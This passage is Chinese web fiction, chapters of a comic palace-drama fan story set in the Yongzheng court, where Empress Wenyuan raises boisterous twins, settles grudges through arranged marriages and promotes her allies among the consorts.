更难听的话在济州时和同龄人家的小姐们在小宴上都听过,如今宫里的娘娘们,说话还怪委婉的。 沈贵人不爱顶嘴,众人反倒觉得没意思了。 虽然阳光明媚,但仍旧冷风刺骨的天气也不能休息,请了安沈婉仪跟着沈眉庄两人到了御花园。 看着两个人不停的重复着那不雅观的动作,看着沈眉庄那有些麻木的眼神,沈婉仪在心里头冷笑了一声。 不过是一点丢脸她就这般要死要活的样子,那家里的姐妹们呢? 不过看着真痛快啊,沈婉仪虽然自己做不到,但对皇后的惩罚表示了崇拜。 午膳时分,皇上溜达着到坤宁宫门口,被一团布老虎击中脑门。 “这是弘晸还是弘晶?” 他熟练的把布老虎捡到手里捏着,笑呵呵走进两个胖娃的屋子。 东暖阁铺着软和的地毯,两个腿脚十分有力的孩子正拼命的蹬着一个颜色丰富的小鼓。 手也没闲着,抓着地上四散的玩具使劲的扔着。 若是扔到了一旁被奴才抱着的筐子里,他们的额娘就会‘哇’的一声表示夸奖。 自从两个孩子可以陪玩后,他也算是轻松了很多。 不过这母子仨闹出的动静若是没有他看着,怕是紫禁城都能喊塌了。 “等弘晸和弘晶再大些,怕是朕的紫禁城都要不保了。” 皇上是真有这个预感。 文鸳不在乎的扔出去一个软棉的球:“怎会?” 皇上瞧了瞧还不到一岁就有这么大力扔东西的两个孩子不置可否。 还这么小的孩子就已经在磨人的路上越走越远了,还有什么不会的! 第304 章 瓜尔佳文鸳35 皇上的预感变成了现实,随着龙凤胎一天天长大,其造作的劲头隐隐有超过其额娘的架势。 单是会走路之后那遭了殃的松子和皇上的百福造化就可知这一加一大于十的杀伤力究竟有多么的巨大。 “喵喵喵!” “汪汪汪!” 告状的粘人精松子和汪汪小队瞧着像是刚经历过一场恶战,凌乱的毛发上还夹杂着草根和树叶,吐出来的舌头叫三小只那不同种族的脸上有相同的疲惫。 只是还不等皇上心疼他的两只狗,外头那有些囫囵却能听的明白的叫喊声穿过院子穿过大门到了他的耳朵里。 “皇阿玛!阿玛啊!” 弘晸和弘晶脚上的铃铛铃铃作响,整个勤政殿的宫人都进入了一级戒备模式。 “是六阿哥和三公主来了,快,快把皇上的花瓶和砚台都收起来,还有那墙上的字画,也都摘下藏到后头的箱子里。” 高无庸紧急指挥着宫女和太监收拾着面上易碎易破的摆件,皇上则是把三只毛绒抱到了偏殿的笼子里,试图保护住它们。 这番流程瞧着慌乱,但其实勤政殿的宫人已经有多次的临危上阵的经验,手脚麻利的赶在弘晸和弘晶进门前把一国之君的寝殿收拾的朴素又穷酸。 “皇阿玛!狗!” 弘晶扑到皇上的怀里,说话不太利索的小嘴只能单个的往外蹦字,除了皇阿玛和额娘喊的清楚,其余的都是一个字一个字的说。 不过,到底是亲手带大的孩子,皇上充分理解了两个小小混蛋的意思。 他想着自己那油光水滑的百福和造化如今变的像外头的野狗一样可怜,心里头痛的简直要滴了血。可孩子还小,皇上只能试图叫自己想开点。 “皇阿玛新得了个小鞭子,弘晶,弘晸要不要看看?” 皇上知道这个时候最好的办法就是转移两个小小混蛋的注意力,不然最后遭罪的还是自己。 别看人不大,挥鞭能把人打破皮的弘晶最喜欢这个了。 “要,要!” 弘晶有一墙的鞭子,除了她额娘给的,还有华娘娘,齐娘娘,嘉娘娘都有份参与。 然而弘晸更喜欢宝剑,待遇和姐姐相比也是丝毫不差的。 别看他人小,剑也小,甚至剑锋都是没开刃的钝刀子。但架不住弘晸的力气大犟筋也粗,生生砍断过一个幼年的小树苗。 皇上一视同仁的把鞭子和宝剑给了二人,两个小不点瞬间忘了刚才追猫撵狗的事。 只是皇上保护了松子百福和造化,就保护不了自己的勤政殿。 看着两个孩子已经‘嘿哈’‘嘿哈’的遍地跑了起来,皇上下意识的把自己放在了角落。 “皇上您放心,这博古架和条案都被内务府的宫人用钉子楔在了墙上,保管不会倒下来砸到六阿哥和三公主。” 高无庸看着皇上满脸愁容‘贴心’的安慰着。 皇上瞥了他一眼,心说我这是担心两个小小混蛋吗?我担心的是我的勤政殿! 眼睁睁的看着弘晸和弘晶把这里造成了废墟,皇上心痛的捂了捂胸口。 还好值钱的都收拢了起来,曾经因为没经验打碎了多少银子,他自个儿都数不清了。 “皇阿玛,回,回!” 这两个孩子是一刻也不得闲,前脚追着一猫两狗不知道从哪跑过来,后脚在勤政殿好一顿折腾。 就这都没有耗尽精力,嫌弃勤政殿太小,两个孩子又跑了出去。 虽说圆明园地方大,也架不住这娘三个精力充沛。就光弘晸和弘晶身后跟着的宫人,每日就得换上七八批,不然人都会被跑死。 “皇上皇上,弘晸和弘晶呢?” 刚撵走了两个小的,皇上正看着宫人收拾勤政殿,他的好皇后也一阵风的就跑了进来。 “刚出去,朕瞧着是往长春仙馆的方向去了。” 皇上打量了一眼眼前人,轻便的衣裳,简单利落的首饰,平底鞋,还有红扑扑的脸蛋。 “你这是从哪来?” 没有听到别人的动静,怕是已经玩儿累了一批人吧? “臣妾刚才和华妃她们跑马去了,不过华妃都累了,臣妾去找弘晸和弘晶玩儿了啊!” 话音还在耳朵边,人就跑没影了。 如果是刚登基的皇上,少不得说一句没规矩。 而现在的皇上,只会感慨自己逃过一劫。 虽然两个孩子像两个小小永动机一样活力十足,但腿长的鸿沟是弘晸和弘晶现如今迈不过去的坎。 “额娘来。” 弘晶第一个发现文鸳,扭头往回跑。闷着头的样子像一个小炮弹。 文鸳自从吃了那精神百倍的药后连力气都成倍的增长,接住一个小腿高的炮弹而已,比皇上稳当多了。 “走,额娘带你们去滑草。” 上次离开前,文鸳就叫内务府在山高水长附近造了一个土坡,移栽了草皮在上头,经过宫人的多次实验,十分适合滑草。 “嗷~~~” 弘晸不知道跟哪个狗子学的,激动了就嗷嗷叫。 文鸳带着弘晶,皇上专门给准备的暗卫冯凛抱着弘晸,光这一个项目就玩了儿一下午。 “累不累?你们华娘娘的二哥送来了两匹小矮马,明儿一起去玩儿好不好?” 两个崽子夜里开始睡完整的觉了,但是如果白天不把体力耗费完,晚上就会在床上闹腾。 文鸳晚上还想和华妃她们蹦迪去,所以白天就可劲儿带着两个娃折腾。 “好!额娘亲。” 小崽崽一身臭汗,但是文鸳也是如此啊,三人谁也不嫌弃谁,亲来亲去的。 皇上早就等在了镂月开云处,瞧着三个同时洋溢着开心的人进来,脸上的笑意深深。 “闹了一下午,瞧你们三个脏兮兮的样子。” 龙凤胎完全继承了他们额娘的美貌,圆润的鹅蛋脸,清澈明亮的桃花眼,高挺的鼻梁和精致的唇形,如同一个模子刻出来的一样。 “皇阿玛!” 两个孩子一左一右的扑到皇上怀里,把身上的汗和灰都蹭到了皇上身上。 “嘿嘿,脏脏。” 皇上瞧着似是得逞了的笑脸笑着拍了拍两个孩子的头顶。 “既然都脏了,咱们就先洗洗再用膳。” 两个小小混蛋这一招使的炉火纯青,他早就习惯了。 淡定的拉着自家皇后去洗澡,把两个娃丢给了茉莉等人。 皇上是屡战屡败,但屡败屡战。 瞧着玩儿了一下午似是精神有些不济的皇后便想着翻身做主。 实际还保留着夜晚蹦迪的体力的文鸳直接武力压制。 晚膳是两个孩子自己用的,至于他们的皇阿玛,可能不需要晚膳了。 而皇额娘,用了晚膳还叫了隔壁的华妃一起,蹦个迪小酌了两杯。 第305 章 瓜尔佳文鸳36 圆明园的马场专门被修整过,华妃和阿茹娜等人穿着英姿飒爽的骑装早早就等在了那里。 如今早晚已经凉了下来,她们也习惯早起先来跑上一圈,等日头高了再回去歇着。 曹嫔带着两岁的温宜正在小口的吃着点心。 “额娘,皇额娘说今日也给女儿一匹小马呢。” 曹琴默给温宜擦了擦嘴角,笑的温柔:“那温宜有没有谢谢皇额娘啊?” 温宜使劲点了点头:“有哦,温宜亲了皇额娘。” 华妃凑到温宜旁边:“这小矮马可是华娘娘的哥哥送进来的,温宜怎的没有亲亲华娘娘啊?” 温宜笑弯了眼睛,凑上去在华妃脸上落下一枚玫瑰米糕味儿的吻。 在每日的玩乐项目叫人眼花缭乱的时候,华妃早就忘了要争恩宠的事。 年羹尧虽然不敢再卖官鬻爵,但是为了不亏了宫里的小妹,转而跑去剿匪去了。 送进宫的体己比起以往只多不少,华妃吃的精贵穿的华丽,有所求了陪皇后睡个觉就什么都有了。 至于皇上,被皇后折腾的每次躺床上就睡,甚至还会打呼噜。这个恩宠,华妃表示,也不是非要不可。 “今儿大家玩儿自己的,兰兰,阿茹娜咱们去打兔子。” 仪欣在来圆明园之前平安生下一个乖巧的小阿哥,文鸳又拉着傅清来了顿男女混合双打后,给她晋了位分,为嘉妃。 只是仪欣生产时出血量有些大,太医嘱托要坐双月子,这避暑之行也就失去了资格。 如今的小队伍人员减少,毕竟夏冬春和方佳贵人有孕不能参与这些有些危险的活动。 而齐妃被文鸳扔到怀里的画像绊住了脚步,沉迷于挑选儿媳妇无法自拔。 所以能看孩子的,只有曹嫔和丽嫔两人。 那些不实用的小亭子和临时休息的小屋被推倒,专门围了一个狩猎兔子的小场地供文鸳撒欢。 这也就是皇上应了文鸳明年一定会去木兰秋狝,不然怕是周围的院子都要遭了毒手。 没有了果郡王的英雄救美,宫女叶澜依因为没钱吃药没有熬过那个夏天。 那个在‘臣妾要告发熹贵妃私通,秽乱后宫罪不容诛’时站在甄嬛一方,言语挑衅原主使其情绪上头,以瓜尔佳氏族人的名誉为赌注的叶澜依。 不需要文鸳亲自动手,只要在前头稍稍改变果郡王的轨迹,这人就‘懂事’的自生也自灭了。 文鸳的准头和华妃差不多,倒是阿茹娜是草原长大的,几乎是百发百中。 “过几日大约就得回宫了,夏贵人几个也快到了生产的日子,还有赏花宴也得安排起来。” 文鸳缓和了速度,慢悠悠的盘算着要做的事情。 华妃自从文鸳登上后位后,就把手里的宫权全部送到了坤宁宫。她的好朋友如今是皇后了,自然不能叫好朋友难做。 “四阿哥五阿哥和裕嫔也要接回宫去?” 华妃如今对子嗣也没什么太大的执念,主要是弘晸和弘晶两个就够她们一群人忙活了,哪里还想再要一个。 “嗯,都接回去,在外头倒是任他们逍遥了。” 紫禁城和圆明园,哪个住着轻松自由大家都知道。 华妃看了一眼气鼓鼓的文鸳,蓦然笑出了声。她这个好朋友就是嘴硬心软,明明是觉得两个皇子在园子里得不到应有的照应,偏要说的凶狠。 而真实的文鸳:我就是看不惯他们住这么大的地方。 “宫里头也没什么空着的宫室了。” 华妃习惯性的操心,她自然也不愿意叫自个儿的玩伴挤挤巴巴的住着不舒服。 “那有何难,送去永和宫住着就是了。” 从前先帝的嫔妃众多,嫔位住在后殿的多的是,怎么到皇上这里就不行了? “那倒也是,敬嫔在前殿,裕嫔去后殿就是了。左右不过是院子小些,也不差什么。” 虽然不理解为何文鸳不喜敬嫔和欣常在,但华妃下意识的认为是那两个人碍到了好友的眼,自然要紧跟着好朋友的偏好做事。 避暑的日子总是过的很快,弘晸弘晶和温宜依依不舍的跟自己的小矮马道了别,坐上马车准备回那个四四方方的院子。 低迷的气氛只持续了一会儿,皇上便被弘晸和弘晶的叫喊声闹的脑壳痛。 为了叫他们转移一下注意力,皇上拿出了棋盘准备教一岁多一点的孩子下棋。 “哈!” 白色的棋子擦着皇上的耳朵飞到了后头。 “弟弟,哈!” 弘晶毫不示弱的攥着一把黑色的棋子反击,如天女散花一样落的到处都是。 皇上闭着眼睛安慰自己:好歹是自己玩儿起来了。 只是下一秒,手里被塞进来一个棋盘。 “皇阿玛,打,来一起打。” 两个小小混蛋,一人举着一本书作为盾牌和击打武器,用棋子作为投掷物,已经开始了小规模的战争。 皇上被迫被拉入战局,一时间竟然顾不得自己那上好的玉棋子,蛮力不够技巧来凑,倒是和两个一岁多的孩子打的有来有回。 一直到目的地紫禁城到达,三人决出了胜负。 皇上以年长四十多年的见识和心眼子完胜两个只会用蛮力的小不点。 “十叔十叔到了吗?” 敦亲王是两个孩子目前最喜欢的玩伴,因为敦亲王也是个人来疯,并且很耐造。 “应当在后头,先去养心殿等着。” 自从敦亲王无意解救了皇上于两个皮猴的水火后,皇上倒是给了他几个好脸,虽然敦亲王并不需要。 不大会儿,敦亲王迈步进入养心殿。 “皇上,臣弟来接弘晸和弘晶了。” 敦亲王牢记他们三人的约定,准时出现在养心殿。 皇上摆了摆手,示意他们三个赶紧走。 敦亲王被弘晸和弘晶当树爬也没动,等两个皮猴又滑下去了,才带着人出去。 而敦亲王福晋则是到了坤宁宫。 她赫舍里氏的姑娘到了适亲的年纪,不过皇上目前没有选秀的意思,所以托敦亲王福晋来问上一问。 文鸳也问过皇上,然而皇上已经被皇后和龙凤胎磋磨的毫无折腾的心气儿,闻言也只是摆了摆手:“不选了不选了,叫适龄的旗女自行婚嫁就是。” 敦亲王福晋得了准信,心里头也有了计较。 如今先帝的皇子基本都已经成婚,又不想自家格格做妾室,如果不选秀的话,便只能请皇后栓婚。 她大概提了一嘴族里的侄女,文鸳便理解了敦亲王福晋的意思。 其实若说年龄,皇上最小的弟弟慎贝勒倒是合适。 只是滴血验亲局里这人也算是原主的仇人,文鸳虽不打算把人直接弄没了气息,但压着不给爵位还是做得到的。 况且她自坐稳后位后,对宗亲和满族勋贵都多有拉拔。唯独先帝的儿子果郡王和慎贝勒依旧无所事事。 若是赫舍里氏聪明,就知道慎贝勒并不是好的选择。贝勒的爵位,即使袭爵能庇荫几辈的后代呢? 文鸳报仇,从早到晚,能想起来的都不会落下。 第306 章 瓜尔佳文鸳37 等着被皇后栓婚的赫舍里氏的格格意外被三阿哥看中,两人并肩站立在花丛中的样子也可以称得上一句郎才女貌。 敦亲王福晋心里头还是忐忑,三阿哥再不聪明也是皇上的儿子,而她家这位格格生母也不过五品小官之女。 原想着能得皇后娘娘的栓婚嫁与普通高门为正妻,安稳一世是再好不过了。 可三阿哥也太莽撞了些,就这么直直的拉着她们家格格说话。即便她们满族格格行事爽朗,也得顾及名声啊。 敦亲王倒是没想太多,他今日能来也完全是因着弘晸和弘晶的邀请。 不然人家皇后为了栓婚举办的赏花宴,他一个到了中年的王爷来凑什么热闹。 “你就是心思重,那三阿哥不是爷说话难听,他读书那本事都赶不上爷当年的十分之一。不过为人倒是憨厚老实,比老四强的多。又有皇后照看着,不必担心。” 敦亲王福晋这才转过来这道弯,其实也不过是关心则乱。她家的王爷不省心,总在皇上的底线上来回蹦哒,给她养成了做事先想最坏的后果的习惯而已。 “是妾身着相了,三阿哥喜欢,想来也没咱们拒绝的权利。” 文鸳也看了两眼,这位赫舍里氏的格格名砚宁,容貌并不是绝美,但自有一股书卷气,瞧着就如那炎炎夏日里盛开的荷花,清爽又温柔。 既然弘时喜欢,文鸳看了一眼后头的栀子,栀子及时递上赫舍里·砚宁的生平资料。 今日赏花宴邀请的格格和公子都是经过了文鸳的背调的,有青梅竹马和心上人的一律标了红。 “瞧着是个好的。” 文鸳又叫来两人问了两句话,随即赐下了婚事。 还有皇家的老大难果郡王和慎贝勒,一个年龄太大,一个年龄有些小。不过没关系,文鸳绝不会给自己落下一点苛待小叔子的名声。 既然果郡王不喜欢孟静娴这款娴静温婉的,便赐婚隆科多女儿佟佳梦华。 佟佳·梦华是隆科多的幼女,也是李四儿那一子一女中的那个女儿。 因着李四儿是妾室,名声败坏,即便隆科多是先帝称赞的麒麟子,也无人敢上门求娶。 如今待字闺中也二十有二,隆科多上折子多次为自己的女儿请婚,因着皇上忙着收拢隆科多手中的势力被拖延至今。 如今手头的证据和罪名都全部在握,皇上已经在清算隆科多的路上,只是密而不发。 文鸳此时把佟佳·梦华赐婚给果郡王,知情人都带了些瞧好戏的念头。 至于慎贝勒,年纪小些不怕,找个年纪大点的会照顾人。 章佳氏的幼女笛文,因着守孝耽误了年纪,但为人精明干练,和慎贝勒实在良配。 众人都知道皇后对果郡王和慎贝勒很一般,但没想到已经连演都不演了。 不过,两个没有实权的先帝子嗣,没有必要为他们出声得罪了皇后。 在大家热闹的恭喜声中,果郡王和慎贝勒精神恍惚。 因着果郡王三十好几,所以婚事格外匆忙。 皇上掐着果郡王大婚后的时间,刚刚好的革去了隆科多的一切职务,圈禁在畅春园附近的一个小院子。 不仅当着他的面处死了他的爱妾李四儿,就连玉柱也被关在了一起。 而果郡王福晋,继承了父亲的骄纵专横私德不休,继承了母亲的跋扈贪弄权柄。 果郡王看不上佟佳·梦华的市侩和贪婪,果郡王福晋看不上允礼的游手好闲和无所事事。 两口子过上了三天一小打五天一大打的热闹生活。 隆科多在囚禁三日后‘绝食’而亡,太后也因此大病一场,浑浑噩噩随着老情人而去。 这倒是出乎了文鸳的意料,虽然稀释了太后的药,太后病病歪歪,这半口气硬撑了这么久,就因为皇上放出来隆科多‘殉情’小妾李四儿的消息,就这么去了? 怎么?老十四都支撑不住她的精气神了? 不过太后在不在都无所谓,她的私库已经差不多被文鸳搬空了,每年的年宴文鸳都会‘借’一批有去无回的摆件,也会借银子来筹办各种宴席。 太后倒是如愿和乌拉那拉宜修做上了亲姑侄,一样的节俭。 皇上的悲伤只持续了一个月,就被两个孩子消磨了思念。 “快下来!” 一个不注意,弘晶顺着养心殿院子里的树就爬了上去。 皇上在下头吓的心脏噗噗直跳。 “姐姐第一!” 然而下头还有一个鼓气加油的,皇上只觉得全身的血液都冲到了头顶。这时候但凡给他头上扎上一针,就能看到血往上飞! 好不容易把弘晶哄下来,弘晸又没了影子。 皇上深吸口气叫大家保持了安静,养心殿里头那‘嘭’‘嘭’的动静便传入耳中。 “去看看六阿哥在干什么?” 高无庸小跑着进去,眼前那个巨大的箭靶已经千疮百孔。 六阿哥年纪小但是臂力大,虽然皇后娘娘因着六阿哥年幼不许他拉弓,但箭可没少给。 眼前这一幕,高无庸看过没有五十遍也有二十遍了。 只是他刚放下的心,低头时又在一起提起。 那雕龙刻凤的楠木鎏金附柱怎么缺了口了呢? 再仔细看了一圈,高无庸眼前一黑。 当初皇上要把这靶子放在室内他就劝说过,偏皇上怕六阿哥和三公主作弄坏了他院子里的奇珍异草坚决不同意。 现在可好了,养心殿瞧着完整,但千疮百孔了啊! “六阿哥,三阿哥进宫了,您还去找三阿哥玩儿吗?” 虽然对三阿哥可能不太友好,但能保住养心殿才是正经。 弘晸果然被带偏了思路,蹦哒着出去拉上弘晶一阵风似的就跑了出去。 皇上欲哭无泪的看着自己那像是经历了劫难的养心殿,默默的招了内务府的人来补救。 好在前段时间因为瓜尔佳氏和赫舍里氏的帮忙尽快料理了隆科多,那家底比太后还要厚,修补自个儿的寝殿,倒也不太心疼了。 三阿哥敦厚,很喜欢和弟弟妹妹们一起玩儿。 皇上看在三阿哥能带弘晸和弘晶的份上,也不逼着三阿哥读书了。对此,齐妃母子十分喜欢弘晸和弘晶大魔王。 “弘晸和弘晶来了?饿不饿?要不要吃些点心?齐娘娘这里有刚出炉的栗子糕。” 齐妃其实不是有特别大野心的人,若不是从前的乌拉那拉宜修总是给她灌输‘三阿哥是长子,是继承人’的思想,其实她更多的,还是希望弘时能健健康康平平安安的就好。 如今文鸳把下一任皇位当做掌中物,自然不会说这些没用的大饼。 齐妃乐得自在,心态都不一样了。 “谢谢,齐娘娘。” 孩子的语言天赋有快有慢,但只要开了口,就会飞一般的进步。 在长春宫补充了能量,弘晸弘晶就拉着弘时跑到了御花园。 如今的御花园已经没有花草了,再珍稀的品种也不过是一个小爪子的事。 后妃们大部分都要陪着弘晸和弘晶玩耍,自然也不会有人觉得无聊。 就连不受文鸳待见的敬嫔等人也不觉得紫禁城的日子难熬,因为单是听着,这日子就热闹的很。 赏花宴后宫里头仍旧是鸡飞狗跳,在绵绵秋雨得日子,夏冬春肚子发动,经历了一天一夜的阵痛,平安生下了八阿哥。 与她月份相差无几的方佳贵人也不知是被这气氛传染了,还是也到了时间。捂着肚子喊痛,被齐妃带回了长春宫。 别看她有些孩子气,但精神头实在不错,虽然没有全程在咸福宫陪产,但也熬了大半夜等着消息。 如今痛的嗷嗷大叫,被自己的嬷嬷用肘子堵住了嘴,边吃边痛,叫喊着生下了四公主。 至于安陵容,则是在八阿哥和四公主满月后才发动。过了太医的预产期有半个月。 安陵容自沈婉仪住进主殿就知道,皇后是不会允许她一宫主位了。 不过好在这位沈贵人是个明白人,知道沈家在皇后皇上那里印象不太好,也不会太显眼的争宠。安安分分的在延禧宫待着,和她也能说上话。 两个人本是搭伴好叫自己不至于深宫无趣,没想到却意外的合拍。 沈婉仪善画,拉着安陵容描了不少新鲜的样子。 安陵容爱刺绣,得空了绣两针沈贵人也愿意在旁边解闷。 沈婉仪不知道皇上皇后有没有解了心中的结,愿不愿意叫她有个孩子。 不过目前看来,皇后性子有些跳脱但是个极公正的后宫之主,只是可能缘分未到,沈婉仪并不着急。 安陵容这个孩子两人也是期盼了很久,再多的趣味也有空闲的时间,但有个孩子就不同了。 第307 章 瓜尔佳文鸳38 安陵容的九阿哥有些瘦小,不过问题不大,精细养着就是。 后宫一下多了这么多喜事,文鸳找皇上商议了一下,决定大封六宫。 “从前朕也不乐意叫她们都身居高位,主要是先帝留下的烂摊子不小,国库空虚,朕不想在这方面花太多银子。 如今后宫和谐,国库也填补了,你说的也是,是应该给大家晋晋位分。” 皇上没想过这个问题,文鸳提出来了,他仔细想想也就同意了,虽然知道自家皇后是为着那几个玩伴,他也乐得支持。 “嘉妃刚刚册封,这次便算了。” 皇上还是记着富察氏那点事,很明显,贵妃的位分,不是傅清那一顿打能换回来的。 文鸳也了解,小作就可以了,再多的,靠嘉妃自己熬资历就是了。总归她姓富察,今后一个贵妃是跑不了了。 “那便把七阿哥的名字一并定下来吧,总不能叫仪欣什么也捞不到。” 文鸳充分发挥自己熊孩子的特质,自己人,不管多少,总得在任何一个场合沾点好处才行。 皇上笑着点了点头,这不过分。 “贵妃,便只晋华妃。齐妃虽然陪朕久,但家世实在上不得台面。” 文鸳张嘴还没出声,皇上下意识的用手捂住。不用自家皇后开口,皇上就知道她想说什么。 “正好弘时要成婚了,便给个贝勒的爵位出宫开府去。” 这也算是符合了沾点好处的行事准则,文鸳放弃了胡闹点了点头表示同意。 “端妃这人不行,她人品不好,臣妾建议把她贬为贵人。” 文鸳一本正经的盘算着剩余妃位的名额,想起那个占着位置的端妃,自以为正经的提着带了强烈个人情感的建议。 这桩陈年旧事皇上再次被提起也有些恍然,当年的窝囊是真的难以启齿。 皇上不说话,文鸳有些不高兴。 她一屁股坐到皇上身边,扒拉着皇上的脑袋:“皇上皇上,您听到臣妾说话了吗?” 她刻意提高了音量,皇上耳朵一阵轰鸣,总觉得自己好像出现了幻听。 他挣扎着想要离开这大嗓门的范围,但被文鸳的胳膊困着,完全挣扎不能。 “听到了朕听到了!” 皇上无奈的叹了口气。 “贵人是不是有些低了?” 看文鸳的脸色变成了要爆发的模式,皇上赶忙说道:“不是为着别的,齐氏是虎贲将军之女。” 文鸳捂住耳朵坐回到自己的座位:“抚远将军臣妾都能打扁。” 想起被摁在地上揍的年羹尧,皇上的嘴角不自觉的上翘。 “好了,朕知道你的意思了。华妃夏贵人和博尔济吉特贵人是你定要晋一位的了是不是?” 文鸳的心思皇上都不用猜,单看脸色就知道。 “嘿嘿,博尔济吉特嫔多难听啊,皇上快想个好听的封号。” 皇上头也没抬:“叫内务府拟一个就是了。” 文鸳却不怎么乐意:“那怎么行!” 皇上轻轻叹了口气,他最喜欢皇后的至情至性,但若是重担不在他身上就更好了。 不过是半个时辰的商议,文鸳有些坐不住了。 等到圣旨下来的时候,后宫本就因新生命的降生带来的喜悦更加深刻。 华妃晋华贵妃。 丽嫔晋丽妃。 曹嫔,赐封号顺,为顺嫔。 博尔济吉特贵人晋嫔,赐封号吉,为吉嫔。 夏贵人晋嫔,赐封号宁,为宁嫔。 方佳贵人晋嫔,赐封号悫,为悫嫔。 沈贵人,赐封号惠,为惠贵人。 嘉妃的七阿哥赐名弘昹,宁嫔的八阿哥赐名弘晅,柔贵人的九阿哥赐名弘昽,悫嫔的四公主赐名万昭。 后宫有人欢喜就有人忧。 和西六宫的欢声笑语不同,东六宫就显得格外安静。 顺嫔带着温宜公主去了翊坤宫一起热闹,惠贵人也和柔贵人一起带着九阿哥弘昽说说笑笑。 延禧宫泾渭分明的气氛叫沈眉庄和甄嬛两人相顾无言。 两人的刻苦训练暂告了一段落,不用早睡早起做那些羞死人的动作后,反而有些空落落的难受。 甄嬛把这归咎于后宫之主的不公。 可如今沈家有个更好的扶持对象,单是这一个‘惠’字封号,就叫元气大伤的沈家有了喘息之地。 沈眉庄是谁?沈家可不知道。 甄家就更不用说了,一万两白银即使在宫中也不是个小数目,甄家虽不算伤筋动骨,但显然甄远道对这个女儿已经失去了信心。 看他如今的架势,怕是把甄玉娆也当做了培养的对象。 温实初不在京城,两人失去了最后一个冤大头。 “后宫波折,还好有眉姐姐陪着嬛儿。” 这温情脉脉的场面两人都有些尴尬,毕竟早就不复当年的模样。 曾经白嫩的皮肤变的黝黑粗糙,那嬛嬛一袅楚宫腰的身形也走了样子,健硕的四肢和硬邦邦的肉,怎么看都不是能得宠的条件了。 “瞧着我没了用,家里便送来了庶妹。人情冷暖,进宫不过几年,我也是尝尽了。” 沈眉庄压根没有反省过自己的错误,只觉得沈家冷漠无情无理取闹。 “眉姐姐还有我在,咱们相互扶持至今,日子总不会更难过了。” 不这么安慰自己还能做什么呢?现在的模样别说争宠,两人自己都嫌弃自己,能不出门尽量不出门。 “如今皇后忘了咱们也是好事,仔细养养,未必没有以后。” 各宫有各宫的心情,永和宫是最复杂的。 人口众多的永和宫是唯一一个没有得到任何好处的宫室。 裕嫔便罢了,她有五阿哥,又是刚回宫没多久的。敬嫔和欣常在却有些不能接受。 其实敬嫔认命,但欣常在不认。 “当初皇后进宫时我就瞧着不对劲,那眉角眼梢透露出算计,叫人不喜。” 欣常在以为自己是心直口快,但敬嫔却默默的远离了她。 果然,敬嫔的动作是对的。 不过半日,欣常在变成了吕答应。 这还是看在大公主淑和的面子上,若是没有公主,怕是这时候吕答应就变成庶人,在冷宫安家了。 这喜事听多了,吕答应的下场叫大家引以为戒。 不过众人也觉得自己有些杞人忧天,她们即使有的人不得皇后的待见,也从没想过在光天化日之下说皇后的坏话,那跟自掘坟墓有什么区别? 然而这消息还不等讨论掉热度,端妃变端贵人又是叫她们一惊。 端妃自潜邸时陪伴皇上,只是打了华妃的胎后仍旧能高居妃位,还以为皇上对其有些感情。 不过看华贵妃那看宫人都笑眯眯的模样,她们也不会像吕答应一般口无遮拦就是了。 总归皇后和华贵妃关系好,为自家姐妹出出气有什么问题? 第308 章 瓜尔佳文鸳39 “皇上决定下个月去木兰秋狝,华贵妃,嘉妃,吉嫔和宁嫔随侍。后宫事暂由齐妃和顺嫔看管,本宫身边的夏荷和养心殿的芳方都会在宫中。 若是有问题,齐妃和顺嫔无法解决,便去找她们二人。 再严重些,涉及有孕,皇嗣等事,便去宁寿宫找皇考贵妃。不可擅自做主也不可心怀鬼胎暗中作梗,可记住了?” 等了好久终于等到今天,盼了好久终于把梦实现,不枉费她日日锻炼着两小只拆家上房揭瓦的能力,终于叫这个披着肝帝雍正皮的胤禛启程出了宫。 嘉妃和宁嫔的孩子都还小,文鸳也问过两人是不是要放弃这次机会,毕竟今后她还是能凭本事再挣出来的。 但是两人都是被文鸳带野了性子的,何况宫里也不是没有安排人手。 富察家的人专门送进来了两个机灵的宫女换走了仪欣身边那个没什么用的桑儿。 而宁嫔就更不必多说,她阿玛是包衣佐领,宫里头能用的人手还是有的。 两人把弘昹和弘晅放在了齐妃的长春宫,正好和悫嫔的万昭一起养着,不怕齐妃觉得无聊。 还有丽妃和顺嫔看着,相处这么久了,大家也算是知根知底,齐妃和丽妃虽然人好但是容易被忽悠,可有顺嫔在,她们毫无后顾之忧。 惠贵人和柔贵人瞧着大家伙热热闹闹的收拾行李也不羡慕,两人抱着身子骨越来越好的弘昽在御花园晒太阳,瞧着本来精致的凉亭被改造出来那一个个顺滑的汉白玉坡,心里头也有些向往。 只是这些到底是皇后的玩具,还是在钦天监算过后稍作改动的,她们不敢贸然上前。 “惠贵人,柔贵人。” 抱着弘昽的沈婉仪和安陵容转身,连忙行礼道:“嫔妾给顺嫔娘娘请安。” 曹琴默把文鸳交代下来的任务复习的差不多了,正准备去翊坤宫接温宜。 “起来吧,弘昽怎么样了?身子可好些了?” 皇后娘娘仁善,她们这些嫔妃的孩子都得到太医十分精心的照料,虽然安陵容的弘昽身子弱些,但也被照顾的不错。 “多谢顺嫔娘娘关怀,已经好多了。” 安陵容知道皇后不待见自己,除却请安基本都是安静的在自个儿宫里待着。 曹琴默笑了笑,她看出了两人对皇后娘娘折腾的玩意儿有些向往,但并没有说什么。 “小孩子皮肤娇嫩,下次还是要在晚些出来才好些。而且多看些花草对小孩子的眼睛会好些。” 安陵容和沈婉仪知道这是顺嫔在提点她们,御花园因为六阿哥和三公主喜欢玩闹,皇后特意找了钦天监算好了把那些花草移栽了出去。 小孩子喜欢花草,那便在自个儿宫里看一看吧。 想要逛御花园,顺嫔娘娘不是说了,日头不足时,皇后娘娘就玩儿的差不多了。 两人恭敬的行了一礼,曹琴默知道二人听懂了,才笑一笑离开。 皇后不喜欢的,曹琴默一定要叫她们少出现在皇后眼中才行。 “你来的正好,本宫上次给温宜做的骑装是不是拿回钟粹宫去了?” 华贵妃在翊坤宫忙碌的穿梭着,像一只飞来飞去的花蝴蝶。 曹琴默刚一进门就觉得眼睛有些不够用了。那一地的箱笼是认真的吗?华贵妃这是去木兰秋狝?不是去搬家? “是,娘娘您这里玩具都堆不下了,便叫臣妾拿走了。” 华贵妃现在是弘晶的干娘,为了这个女儿,整个翊坤宫都要被占满了。 “音袖你去取来,现做肯定是来不及了,去木兰围场不骑马能行吗?” 顺嫔虽然没被带去,但是华贵妃带上了温宜小可爱。 顺嫔完全没有不放心的,她这个亲娘给温宜收拾行李的工作都被剥夺,理由是华贵妃觉得她小家子气,用的东西拿不出手所以不允许她多事。 